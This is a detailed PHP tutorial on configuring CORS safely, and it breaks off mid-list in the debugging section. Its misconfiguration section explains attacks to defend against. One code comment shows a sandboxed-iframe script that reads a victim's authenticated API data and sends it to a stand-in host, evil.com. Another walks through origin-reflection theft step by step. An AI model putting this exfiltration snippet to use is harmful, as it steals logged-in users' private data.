Modern web applications often request resources from multiple domains. For example, a frontend app on https://app.example.com may need to call a backend API hosted at https://api.example.com. Browsers enforce a security p4licy called Same-Origin Policy, which blocks requests between different origins unless explicitly allowed.
This is where Cross-Origin Resource Sharing (CORS) comes in. It allows servers to specify which origins are permitted to access resources.
How to Enable CORS in PHP
You can handle CORS in PHP by setting specific HTTP headers at the top of your PHP script.
Example: Allow all domains (development only)
<?php
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
// Your API logic here
$data = ["status" => "success", "message" => "CORS enabled"];
echo json_encode($data);
?>
Explanation:
- Access-Control-Allow-Origin: * → allows any domain to access the resource.
- Content-Type → ensures the browser treats the response as JSON.
Example: Allow specific domain
<?php
$allowedOrigin = "https://app.example.com";
if ($_SERVER['HTTP_ORIGIN'] == $allowedOrigin) {
header("Access-Control-Allow-Origin: $allowedOrigin");
}
header("Content-Type: application/json; charset=UTF-8");
$data = ["status" => "success"];
echo json_encode($data);
?>
Explanation:
- Only the specified origin is allowed.
- Safer than using * in production.
Handling Preflight Requests
Some requests (like POST with JSON) trigger a preflight OPTIONS request. You can handle it as follows:
<?php
header("Access-Control-Allow-Origin: https://app.example.com");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Authorization");
if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
http_response_code(200);
exit();
}
?>
- Access-Control-Allow-Methods → allowed HTTP methods
- Access-Control-Allow-Headers → allowed headers from client
CORS is essential for modern web apps that interact with APIs on different domains. By setting proper PHP headers, you can allow cross-origin requests safely while maintaining control over who can access your resources.
Why CORS Is Widely Misunderstood and Frequently Misconfigured
CORS (Cross-Origin Resource Sharing) produces some of the most confusing error messages in web development. The browser tells you “blocked by CORS policy” — but the request already reached your server. Your server already processed it. The response is sitting right there. The browser just won’t let your JavaScript read it.
That counterintuitive behaviour is why the original article’s fix — add Access-Control-Allow-Origin: * — works instantly but leaves developers with no understanding of what they actually did, why it was needed, or whether it was safe.
This guide covers the complete picture: the security model CORS enforces and why it exists, every CORS header explained with its exact effect on browser behaviour, the five most dangerous CORS misconfigurations in production PHP APIs, a production-ready PHP middleware class, Nginx and Apache server-level CORS configuration, WordPress REST API CORS handling, Laravel and Symfony integration, and a step-by-step debugging workflow for the real error messages you’ll encounter.
Part 1 — The Same-Origin Policy: Why CORS Exists
Before writing a single header, understand the security model CORS is relaxing — because understanding what you’re relaxing is the only way to do it safely.
What “Origin” Means Exactly
An origin is the combination of three components: scheme + host + port. All three must match for two URLs to share the same origin:
URL A: https://app.example.com/page URL B: https://app.example.com/api/data ← Same origin (scheme, host, port all match) URL C: http://app.example.com/api/data ← Different origin (scheme differs: http vs https) URL D: https://api.example.com/data ← Different origin (host differs: app vs api) URL E: https://app.example.com:8080/data ← Different origin (port differs: 443 vs 8080) URL F: https://sub.example.com/data ← Different origin (subdomain counts)
What the Same-Origin Policy Blocks (and What It Doesn’t)
This is the part most developers get wrong:
SOP BLOCKS (from JavaScript cross-origin): ✗ Reading response bodies (fetch, XMLHttpRequest) ✗ Reading response headers ✗ Accessing iframe content from a different origin ✗ Reading cookies, localStorage from other origins SOP DOES NOT BLOCK: ✓ Sending a GET request — the request STILL GOES to the server ✓ Loading <img src="https://other.com/image.png"> ✓ Loading <script src="https://other.com/script.js"> ✓ <form action="https://other.com"> POST submissions ✓ Server-to-server requests (PHP calling another API — no browser, no SOP)
The critical implication: When JavaScript on https://frontend.com fetches https://api.com/users, the request arrives at the API server. The API processes it. The response is sent back. Only then does the browser intercept it and refuse to give the response to the JavaScript code. CORS headers tell the browser whether to hand over that response — they do not prevent the request from arriving.
This is why CORS is not a security mechanism against server-side attacks. It protects the user’s browser from reading data on their behalf without consent. If you’re trying to block certain IPs or clients, CORS is the wrong tool.
The Two Request Types: Simple vs Preflighted
Browsers handle cross-origin requests differently based on what they’re doing:
SIMPLE REQUESTS (no preflight — browser sends directly): Methods: GET, HEAD, POST Headers: Only Accept, Accept-Language, Content-Language, Content-Type Content-Type values: application/x-www-form-urlencoded, multipart/form-data, text/plain PREFLIGHTED REQUESTS (browser sends OPTIONS first): Methods: PUT, DELETE, PATCH, or custom methods Headers: Authorization, X-Custom-Header, or any non-simple header Content-Type: application/json (the most common trigger) ANY request with credentials (cookies, HTTP auth)
This matters because a POST request with Content-Type: application/json — the default for most API clients — always triggers a preflight. The original article’s example of a simple preflight handler is correct but incomplete: it doesn’t show what happens when you have both the preflight OPTIONS and the actual request in the same PHP file.
Part 2 — Every CORS Header Explained
The original article shows three headers. Here is every CORS header with its exact semantics, which side (request/response) it appears on, and common mistakes:
Response Headers (Server → Browser)
ACCESS-CONTROL-ALLOW-ORIGIN
──────────────────────────────────────────────────────────────────────
Purpose: Which origin(s) the browser should allow to read this response
Values: A specific origin: https://app.example.com
A wildcard: * (means any origin — NOT safe with credentials)
null (DO NOT USE — see security pitfalls in Part 4)
Required: YES — without this header, the browser blocks ALL cross-origin reads
COMMON MISTAKE: Setting * when the request sends cookies or Authorization headers.
Browsers reject responses with * when the request has credentials=include.
You must echo back the specific requesting origin instead.
ACCESS-CONTROL-ALLOW-METHODS
──────────────────────────────────────────────────────────────────────
Purpose: Which HTTP methods the browser is allowed to use
Values: Comma-separated: GET, POST, PUT, DELETE, PATCH, OPTIONS
Context: Only appears in preflight (OPTIONS) responses
Default: If omitted, only simple methods (GET, POST, HEAD) are allowed
CORS only: This does NOT restrict which methods reach the server — it only
tells the browser which methods to allow from JavaScript
ACCESS-CONTROL-ALLOW-HEADERS
──────────────────────────────────────────────────────────────────────
Purpose: Which request headers the browser is allowed to send
Values: Comma-separated: Content-Type, Authorization, X-API-Key, etc.
Context: Only appears in preflight (OPTIONS) responses
Required: Required if the request sends ANY non-simple headers (Authorization,
Content-Type: application/json, X-Custom-Header, etc.)
COMMON MISTAKE: Forgetting to include Content-Type when the frontend
sends JSON. This causes every fetch() with a JSON body to fail.
ACCESS-CONTROL-EXPOSE-HEADERS
──────────────────────────────────────────────────────────────────────
Purpose: Which response headers JavaScript is allowed to READ
Default: JavaScript can ONLY read: Cache-Control, Content-Language,
Content-Length, Content-Type, Expires, Last-Modified, Pragma
Values: Comma-separated: X-Total-Count, X-Request-Id, Link, etc.
Context: Appears in actual (non-preflight) responses
EXAMPLE: If your API sends pagination data in X-Total-Count: 1450,
frontend JavaScript cannot read it unless you expose it:
Access-Control-Expose-Headers: X-Total-Count, Link
ACCESS-CONTROL-ALLOW-CREDENTIALS
──────────────────────────────────────────────────────────────────────
Purpose: Whether the browser should expose the response when the
request includes credentials (cookies, HTTP auth, client TLS)
Values: true (the only valid value — omitting = false)
Context: Required when frontend uses fetch(url, {credentials: 'include'})
or axios with withCredentials: true
RULES WHEN USING CREDENTIALS:
1. Access-Control-Allow-Origin MUST be a specific origin, NOT *
2. Access-Control-Allow-Credentials MUST be true
3. The server must set Vary: Origin (see below)
If any rule is violated, the browser silently discards the response.
ACCESS-CONTROL-MAX-AGE
──────────────────────────────────────────────────────────────────────
Purpose: How many seconds the browser should cache the preflight result
Values: Integer seconds. Browser maximums: Chrome = 7200, Firefox = 86400
Default: Without this header, every single request triggers a new preflight
Impact: A busy API hitting 100 requests/minute sends 200 HTTP requests
(100 OPTIONS + 100 actual) without this header.
Access-Control-Max-Age: 3600 reduces that to 1 OPTIONS + ~100 actual
VARY: ORIGIN
──────────────────────────────────────────────────────────────────────
Purpose: Tells HTTP caches that the response varies by the Origin header —
so a cached response for origin A should NOT be served for origin B
When needed: ANY time your Access-Control-Allow-Origin is not *
(when you have a multi-origin allowlist)
Impact without it: CDNs and browser caches serve the wrong CORS headers
to the wrong origin — intermittent CORS failures that
are nearly impossible to reproduce locally
Request Headers (Browser → Server)
ORIGIN
──────────────────────────────────────────────────────────────────────
Sent by: Browser automatically on cross-origin requests
Value: The scheme+host+port of the requesting page
e.g., Origin: https://app.example.com
Note: NOT sent on same-origin requests
NOT sent on <img> or <script> tag loads
Sent on ALL fetch() and XHR cross-origin requests
ACCESS-CONTROL-REQUEST-METHOD (Preflight only)
──────────────────────────────────────────────────────────────────────
Sent by: Browser in the preflight OPTIONS request
Value: The HTTP method the actual request will use
e.g., Access-Control-Request-Method: PUT
ACCESS-CONTROL-REQUEST-HEADERS (Preflight only)
──────────────────────────────────────────────────────────────────────
Sent by: Browser in the preflight OPTIONS request
Value: Comma-separated list of non-simple headers the request will send
e.g., Access-Control-Request-Headers: content-type, authorization
Part 3 — Production PHP CORS Middleware
The original article’s approach — copy-paste three header() calls at the top of each PHP file — doesn’t scale. A single CORS middleware class keeps all your CORS logic in one place:
<?php
declare(strict_types=1);
/**
* Production PHP CORS Middleware
*
* Handles:
* - Single and multi-origin allowlists
* - Wildcard mode for public APIs
* - Credentials mode (cookies, Authorization headers)
* - Preflight response caching
* - Exposed response headers
* - Vary: Origin header for correct caching
* - Security: rejects null origin, validates origin format
*/
class CorsMiddleware {
// ── Configuration ──────────────────────────────────────────────────────────
private array $allowedOrigins;
private array $allowedMethods;
private array $allowedHeaders;
private array $exposedHeaders;
private bool $allowCredentials;
private int $maxAge;
private bool $wildcardMode;
public function __construct(array $config = []) {
$defaults = [
// Specific origins to allow (used when wildcardMode is false):
'allowed_origins' => [],
// true = allow ANY origin with Access-Control-Allow-Origin: *
// Cannot be used with allow_credentials: true
'wildcard_mode' => false,
'allowed_methods' => ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
'allowed_headers' => ['Content-Type', 'Authorization', 'Accept',
'X-Requested-With', 'X-API-Key'],
'exposed_headers' => [], // Headers JS can read from the response
'allow_credentials' => false,
'max_age' => 3600, // Cache preflight for 1 hour
];
$cfg = array_merge($defaults, $config);
$this->allowedOrigins = array_map('strtolower', $cfg['allowed_origins']);
$this->allowedMethods = array_map('strtoupper', $cfg['allowed_methods']);
$this->allowedHeaders = $cfg['allowed_headers'];
$this->exposedHeaders = $cfg['exposed_headers'];
$this->allowCredentials = $cfg['allow_credentials'];
$this->maxAge = $cfg['max_age'];
$this->wildcardMode = $cfg['wildcard_mode'];
// Safety check: wildcard + credentials is an invalid combination:
if ($this->wildcardMode && $this->allowCredentials) {
throw new \InvalidArgumentException(
'CORS: wildcard_mode and allow_credentials cannot both be true. ' .
'Browsers reject Access-Control-Allow-Origin: * when credentials are included. ' .
'Switch to a specific allowed_origins list.'
);
}
}
/**
* Process a request and add appropriate CORS headers.
* Call this at the very top of your API script, before any output.
*
* @return bool false if the request was handled (OPTIONS preflight) and
* the script should exit; true to continue processing.
*/
public function handle(): bool {
$requestOrigin = $this->getRequestOrigin();
// ── No Origin header → not a cross-origin request → no CORS headers needed
if ($requestOrigin === null) {
return true;
}
// ── Security: reject the 'null' origin (from sandboxed iframes, file:// etc.)
if ($requestOrigin === 'null') {
http_response_code(403);
header('Content-Type: application/json');
echo json_encode(['error' => 'null origin is not permitted']);
return false;
}
// ── Determine whether to grant CORS for this origin
$originAllowed = $this->wildcardMode || $this->isOriginAllowed($requestOrigin);
if (!$originAllowed) {
// Origin not in allowlist — respond without CORS headers
// The browser will block the response from JavaScript
// (but note: the request already reached the server)
if ($this->isPreflightRequest()) {
http_response_code(403);
header('Content-Type: application/json');
echo json_encode(['error' => 'Origin not allowed']);
return false;
}
// For non-preflight: process the request but omit CORS headers
return true;
}
// ── Set the appropriate origin header ─────────────────────────────────
if ($this->wildcardMode) {
header('Access-Control-Allow-Origin: *');
} else {
// Echo back the specific requesting origin (not just any allowed origin)
header('Access-Control-Allow-Origin: ' . $requestOrigin);
// CRITICAL: Vary: Origin tells caches that the response depends on
// the Origin header — prevents serving one origin's response to another
header('Vary: Origin', false); // false = append, not replace
}
// ── Credentials ───────────────────────────────────────────────────────
if ($this->allowCredentials) {
header('Access-Control-Allow-Credentials: true');
}
// ── Preflight (OPTIONS) request ───────────────────────────────────────
if ($this->isPreflightRequest()) {
return $this->handlePreflight();
}
// ── Actual request — set exposed headers ──────────────────────────────
if (!empty($this->exposedHeaders)) {
header('Access-Control-Expose-Headers: ' . implode(', ', $this->exposedHeaders));
}
return true; // Continue processing the actual request
}
/**
* Handle a CORS preflight (OPTIONS) request.
* Sets all the "permission" headers and exits.
*/
private function handlePreflight(): bool {
header('Access-Control-Allow-Methods: ' . implode(', ', $this->allowedMethods));
header('Access-Control-Allow-Headers: ' . implode(', ', $this->allowedHeaders));
header('Access-Control-Max-Age: ' . $this->maxAge);
header('Content-Length: 0');
http_response_code(204); // 204 No Content is the correct preflight response code
return false; // Signal to the caller to exit — nothing more to process
}
/**
* Check if the request is a CORS preflight.
*/
private function isPreflightRequest(): bool {
return ($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS'
&& isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD']);
}
/**
* Get the Origin header from the request, or null if not present.
*/
private function getRequestOrigin(): ?string {
return $_SERVER['HTTP_ORIGIN'] ?? null;
}
/**
* Check if the requesting origin is in the allowlist.
* Supports exact matches and wildcard subdomain patterns.
*/
private function isOriginAllowed(string $requestOrigin): bool {
$normalised = strtolower($requestOrigin);
foreach ($this->allowedOrigins as $allowed) {
// Exact match:
if ($allowed === $normalised) {
return true;
}
// Wildcard subdomain pattern: *.example.com
if (str_starts_with($allowed, '*.')) {
$domain = substr($allowed, 2); // Remove '*.'
// Validate that the pattern is a proper domain (not *.com)
if (substr_count($domain, '.') < 1) continue;
$suffix = '.' . $domain;
if (str_ends_with($normalised, $suffix)) {
return true;
}
}
}
return false;
}
// ── Static factory methods for common configurations ───────────────────────
/**
* Public API: allow any origin, no credentials, read-only methods.
* Safe for truly public data that doesn't need authentication.
*/
public static function publicApi(): static {
return new static([
'wildcard_mode' => true,
'allowed_methods' => ['GET', 'HEAD', 'OPTIONS'],
'allowed_headers' => ['Content-Type', 'Accept'],
'allow_credentials' => false,
]);
}
/**
* Private API: specific origins only, with credentials support.
* Use for APIs that require authentication (sessions, tokens, cookies).
*/
public static function privateApi(array $origins): static {
return new static([
'allowed_origins' => $origins,
'allowed_methods' => ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
'allowed_headers' => ['Content-Type', 'Authorization', 'Accept', 'X-Requested-With'],
'allow_credentials' => true,
'max_age' => 7200,
]);
}
/**
* SaaS API: multiple customer origins with pagination header exposure.
*/
public static function saasApi(array $origins): static {
return new static([
'allowed_origins' => $origins,
'allowed_methods' => ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
'allowed_headers' => ['Content-Type', 'Authorization', 'Accept', 'X-API-Key'],
'exposed_headers' => ['X-Total-Count', 'X-RateLimit-Limit',
'X-RateLimit-Remaining', 'X-Request-Id', 'Link'],
'allow_credentials' => false,
'max_age' => 3600,
]);
}
}
Using the Middleware in a PHP API Endpoint
<?php
// api/users.php — A typical JSON API endpoint
require_once 'CorsMiddleware.php';
// ── Option 1: Public read-only API ────────────────────────────────────────────
$cors = CorsMiddleware::publicApi();
// ── Option 2: Authenticated API with specific allowed origins ─────────────────
$cors = CorsMiddleware::privateApi([
'https://app.example.com',
'https://admin.example.com',
'https://staging.example.com',
]);
// ── Option 3: Multi-tenant SaaS with customer subdomains ──────────────────────
$cors = new CorsMiddleware([
'allowed_origins' => [
'https://dashboard.mysaas.com',
'*.customer.mysaas.com', // Wildcard subdomain pattern
],
'allowed_methods' => ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
'allowed_headers' => ['Content-Type', 'Authorization', 'X-Tenant-ID'],
'exposed_headers' => ['X-Total-Count', 'X-Request-Id'],
'allow_credentials' => false,
'max_age' => 3600,
]);
// ── Process the request ───────────────────────────────────────────────────────
if (!$cors->handle()) {
exit; // Preflight handled or origin rejected — stop processing
}
// Everything below this line only runs for actual (non-preflight) requests
// from allowed origins. CORS headers are already set.
header('Content-Type: application/json; charset=UTF-8');
// Your API logic:
$users = fetchUsers();
echo json_encode($users);
Part 4 — The Five Dangerous CORS Misconfigurations
Misconfiguration 1: Origin Reflection Without Validation
This is the most common dangerous CORS configuration in production. It appears in millions of PHP files:
<?php
// ❌ CRITICALLY DANGEROUS — Origin Reflection Without Validation
// Developers see this code in tutorials and think it's the "safe" alternative
// to Access-Control-Allow-Origin: *. It isn't. It's WORSE.
header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Credentials: true');
// WHY THIS IS DANGEROUS:
// ANY origin — https://evil.com, https://attacker.io, http://localhost:3000 —
// gets reflected back. Combined with allow_credentials: true, this means:
//
// 1. User is logged into yourapi.com (session cookie set)
// 2. User visits evil.com
// 3. evil.com's JavaScript runs:
// fetch('https://yourapi.com/users/me', {credentials: 'include'})
// 4. Browser sends the request WITH the user's session cookie
// 5. Your server reflects evil.com as the allowed origin
// 6. Browser sees credentials: true + matching origin = passes
// 7. evil.com reads the user's private data
// This is a Cross-Site Request Forgery (CSRF) + CORS combination attack.
// ✅ CORRECT: Use an explicit allowlist (as shown in the middleware above)
$allowedOrigins = ['https://app.example.com', 'https://staging.example.com'];
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (in_array($requestOrigin, $allowedOrigins, true)) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
header('Vary: Origin');
}
// If origin is NOT in the allowlist: send no CORS headers at all
Misconfiguration 2: Wildcard (*) With Credentials
<?php
// ❌ INVALID — Browsers will reject this combination entirely:
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Credentials: true');
// What happens:
// Browser receives this response and throws:
// "The value of the 'Access-Control-Allow-Credentials' header in the response
// is '' which must be 'true' when the request's credentials mode is 'include'"
// OR in some browsers:
// "Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true"
// ✅ CORRECT for credentialed requests:
header('Access-Control-Allow-Origin: https://app.example.com'); // Specific origin
header('Access-Control-Allow-Credentials: true');
header('Vary: Origin'); // Required when echoing a specific origin from a list
Misconfiguration 3: Accepting the null Origin
<?php
// ❌ DANGEROUS — Treating 'null' as a valid origin:
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if ($origin === 'null' || !empty($origin)) {
header("Access-Control-Allow-Origin: {$origin}");
header('Access-Control-Allow-Credentials: true');
}
// WHY DANGEROUS: The 'null' origin is sent by:
// - Sandboxed iframes: <iframe sandbox src="attacker.com">
// - Redirects from cross-origin origins (some browsers)
// - Local file access: file:///home/user/attack.html
//
// An attacker creates a sandboxed iframe on their page:
// <iframe sandbox="allow-scripts" src="data:text/html,<script>
// fetch('https://yourapi.com/data', {credentials:'include'})
// .then(r => r.json())
// .then(d => fetch('https://evil.com/steal?data=' + JSON.stringify(d)));
// </script>"></iframe>
//
// The iframe sends Origin: null — your server echoes it back — browser allows it.
// ✅ CORRECT: Explicitly reject null origin:
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if ($origin !== '' && $origin !== 'null' && in_array($origin, $allowedOrigins, true)) {
header("Access-Control-Allow-Origin: {$origin}");
}
Misconfiguration 4: Missing Vary: Origin Header
<?php
// ❌ CACHING BUG — No Vary header with dynamic origin:
// Request 1 from https://app.example.com:
header('Access-Control-Allow-Origin: https://app.example.com');
// CDN/proxy caches this response
// Request 2 from https://mobile.example.com:
// CDN serves the CACHED response with Access-Control-Allow-Origin: https://app.example.com
// Browser sees wrong origin — mobile.example.com gets a CORS error intermittently
// ✅ CORRECT: Always add Vary: Origin when setting a specific origin:
header('Access-Control-Allow-Origin: https://app.example.com');
header('Vary: Origin'); // Tells caches: cache this response PER origin
Misconfiguration 5: Overly Broad Subdomain Regex
<?php
// ❌ DANGEROUS — Regex that's too permissive:
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
// Intended: allow *.example.com
// BUT: preg_match('/example\.com$/', $origin) also matches:
// https://notexample.com
// https://evil-example.com
// https://example.com.evil.com
if (preg_match('/example\.com$/', $origin)) {
header("Access-Control-Allow-Origin: {$origin}");
}
// ✅ CORRECT: Require scheme + proper domain boundary:
function isValidSubdomainOrigin(string $origin, string $domain): bool {
// Must be https, must be exactly domain or *.domain, not just ending in domain:
$escaped = preg_quote($domain, '/');
return (bool) preg_match('/^https:\/\/([a-zA-Z0-9-]+\.)?' . $escaped . '$/', $origin);
}
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (isValidSubdomainOrigin($origin, 'example.com')) {
header("Access-Control-Allow-Origin: {$origin}");
header('Vary: Origin');
}
Part 5 — Handling CORS at the Web Server Level
Server-level CORS has one big advantage: it runs for every PHP script without requiring code changes. One big disadvantage: it’s harder to make dynamic (multi-origin allowlists are harder to express in server configs than in PHP).
Nginx Configuration
# In your PHP server block:
# ── Simple wildcard for a fully public API ─────────────────────────────────────
location /api/ {
# Add CORS headers to all responses:
add_header 'Access-Control-Allow-Origin' '*' always;
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS' always;
add_header 'Access-Control-Allow-Headers' 'Content-Type, Accept, Authorization' always;
# Handle preflight:
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Max-Age' 3600;
add_header 'Content-Length' 0;
return 204;
}
fastcgi_pass unix:/run/php/php8.3-fpm.sock;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
# ── Multi-origin allowlist with dynamic echoing ────────────────────────────────
# This is more complex in Nginx — the map module handles it:
map $http_origin $cors_origin {
default '';
'https://app.example.com' '$http_origin';
'https://admin.example.com' '$http_origin';
'https://staging.example.com' '$http_origin';
# Pattern matching for subdomains:
'~^https://[a-zA-Z0-9-]+\.example\.com$' '$http_origin';
}
server {
# ... SSL and server_name config ...
location /api/ {
if ($cors_origin != '') {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
}
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always;
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization' always;
add_header 'Access-Control-Expose-Headers' 'X-Total-Count, X-Request-Id' always;
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Max-Age' 3600;
add_header 'Content-Length' 0;
return 204;
}
fastcgi_pass unix:/run/php/php8.3-fpm.sock;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
Apache Configuration
# In .htaccess or VirtualHost:
<IfModule mod_headers.c>
# ── Public API (wildcard): ───────────────────────────────────────────────
Header always set Access-Control-Allow-Origin "*"
Header always set Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS"
Header always set Access-Control-Allow-Headers "Content-Type, Authorization, Accept"
Header always set Access-Control-Max-Age "3600"
# Handle preflight OPTIONS:
RewriteEngine On
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=204,L]
</IfModule>
# ── Multi-origin with SetEnvIf (Apache dynamic origin matching): ──────────────
<IfModule mod_setenvif.c>
SetEnvIf Origin "^https://(app|admin|staging)\.example\.com$" ORIGIN_ALLOWED=$0
<IfModule mod_headers.c>
Header always set Access-Control-Allow-Origin "%{ORIGIN_ALLOWED}e" env=ORIGIN_ALLOWED
Header always set Access-Control-Allow-Credentials "true" env=ORIGIN_ALLOWED
Header always set Vary "Origin"
Header always set Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS"
Header always set Access-Control-Allow-Headers "Content-Type, Authorization, Accept"
</IfModule>
</IfModule>
Part 6 — CORS in Common PHP Frameworks and WordPress
WordPress REST API CORS
<?php
/**
* WordPress REST API CORS customisation.
* Add to functions.php or a site-specific plugin.
*/
// ── Remove WordPress's default CORS headers (they set Access-Control-Allow-Origin: *)
// and replace with your own controlled version:
remove_filter('rest_pre_serve_request', 'rest_send_cors_headers');
add_filter('rest_pre_serve_request', function(bool $served): bool {
$allowedOrigins = [
'https://app.example.com',
'https://mobile.example.com',
];
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if ($requestOrigin !== '' && in_array($requestOrigin, $allowedOrigins, true)) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
header('Vary: Origin', false);
}
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
header('Access-Control-Allow-Headers: Authorization, Content-Type, X-WP-Nonce');
header('Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link');
header('Access-Control-Max-Age: 3600');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
status_header(204);
exit;
}
return $served;
});
// ── Allow specific origins in WordPress REST API using the filter: ────────────
add_filter('allowed_http_origins', function(array $origins): array {
$origins[] = 'https://app.example.com';
$origins[] = 'https://mobile.example.com';
return $origins;
});
// ── For WordPress + JavaScript frontend (headless WordPress): ─────────────────
// The WordPress REST API nonce approach for authenticated requests:
// 1. Frontend requests a nonce via: GET /wp-json/wp/v2/users/me
// 2. WordPress returns X-WP-Nonce in the response header
// 3. Frontend includes it in subsequent requests as X-WP-Nonce header
// This is more secure than using username/password in every request
Laravel CORS (using fruitcake/laravel-cors)
# Install (Laravel 7+, this is already included as of Laravel 8): composer require fruitcake/laravel-cors
<?php
// config/cors.php — Laravel CORS configuration:
return [
// Apply to these path patterns:
'paths' => ['api/*', 'sanctum/csrf-cookie'],
// Origins (or '*' for wildcard):
'allowed_origins' => [
'https://app.example.com',
'https://staging.example.com',
],
// Supports regex patterns:
'allowed_origins_patterns' => [
'/^https:\/\/[a-zA-Z0-9-]+\.example\.com$/',
],
'allowed_methods' => ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
'allowed_headers' => ['Content-Type', 'Authorization', 'Accept', 'X-Requested-With'],
'exposed_headers' => ['X-Total-Count', 'X-RateLimit-Remaining'],
'max_age' => 3600,
'supports_credentials' => false, // Set true for withCredentials requests
];
// app/Http/Kernel.php — Register the middleware:
// The CORS middleware is auto-registered in Laravel 8+ if the package is installed.
// For older versions, add to $middleware:
// \Fruitcake\Cors\HandleCors::class,
Symfony CORS (using nelmio/cors-bundle)
composer require nelmio/cors-bundle
# config/packages/nelmio_cors.yaml
nelmio_cors:
defaults:
allow_credentials: false
allow_origin: []
allow_headers: []
allow_methods: []
expose_headers: []
max_age: 0
paths:
'^/api/':
allow_origin: ['https://app.example.com', 'https://staging.example.com']
allow_headers: ['Content-Type', 'Authorization', 'Accept']
allow_methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS']
expose_headers: ['X-Total-Count', 'Link']
max_age: 3600
allow_credentials: false
'^/api/auth/':
allow_origin: ['https://app.example.com']
allow_headers: ['Content-Type', 'Authorization']
allow_methods: ['POST', 'OPTIONS']
allow_credentials: true
max_age: 600
Part 7 — The Frontend Side: What JavaScript Controls
CORS headers on the server only matter if the browser actually sends the right request. Here’s the frontend behaviour that determines which server headers you need:
// ── Simple GET (no preflight triggered): ──────────────────────────────────────
fetch('https://api.example.com/products')
.then(r => r.json())
.then(data => console.log(data));
// Needs server: Access-Control-Allow-Origin: * or https://yoursite.com
// ── JSON POST (triggers preflight): ───────────────────────────────────────────
fetch('https://api.example.com/orders', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ product_id: 1, qty: 2 }),
});
// Needs server: Access-Control-Allow-Headers includes 'Content-Type'
// ── Authenticated request with cookies (triggers preflight + credentials): ────
fetch('https://api.example.com/account', {
method: 'GET',
credentials: 'include', // Send cookies cross-origin
});
// Needs server:
// Access-Control-Allow-Origin: https://yoursite.com (NOT *)
// Access-Control-Allow-Credentials: true
// ── Authenticated request with Authorization header: ─────────────────────────
fetch('https://api.example.com/account', {
headers: { 'Authorization': 'Bearer eyJhbGc...' },
});
// Needs server: Access-Control-Allow-Headers includes 'Authorization'
// ── Reading a custom response header: ─────────────────────────────────────────
fetch('https://api.example.com/products')
.then(response => {
// Only works if server sets:
// Access-Control-Expose-Headers: X-Total-Count
const total = response.headers.get('X-Total-Count');
console.log('Total:', total);
return response.json();
});
// ── Axios with credentials: ───────────────────────────────────────────────────
axios.get('https://api.example.com/account', {
withCredentials: true, // Equivalent to fetch credentials: 'include'
});
// Same server requirements as fetch with credentials: 'include'
Part 8 — Debugging CORS Errors: The Complete Workflow
CORS error messages in the browser console are notoriously unhelpful. This workflow diagnoses every real CORS error you’ll encounter:
Step 1: Read the Browser Console Error Carefully
ERROR TYPE 1: Missing origin header
"Access to fetch at 'https://api.com/data' from origin 'https://frontend.com'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is
present on the requested resource."
CAUSE: Server sent no Access-Control-Allow-Origin header at all
FIX: Add the CORS header in PHP or web server config
ERROR TYPE 2: Origin not allowed
"...blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a
value 'https://other.com' that is not equal to the supplied origin."
CAUSE: Server echoed back a different origin than what the browser sent
FIX: Ensure your origin matching logic works correctly; add debug logging
ERROR TYPE 3: Preflight rejected
"...blocked by CORS policy: Response to preflight request doesn't pass access
control check: It does not have HTTP ok status."
CAUSE: Your OPTIONS handler returned a non-200/204 status code
FIX: Return 204 (or 200) from your OPTIONS handler
ERROR TYPE 4: Header not allowed
"...blocked by CORS policy: Request header field content-type is not allowed
by Access-Control-Allow-Headers in preflight response."
CAUSE: Content-Type (or Authorization) not listed in Access-Control-Allow-Headers
FIX: Add the missing header to your allowed headers list
ERROR TYPE 5: Credentials rejected
"...has been blocked by CORS policy: The value of the
'Access-Control-Allow-Credentials' header in the response is '' which must
be 'true' when the request's credentials mode is 'include'."
CAUSE: Frontend sends credentials: 'include' but server doesn't set
Access-Control-Allow-Credentials: true
FIX: Add the credentials header; ensure origin is specific (not *)
ERROR TYPE 6: Wildcard + credentials
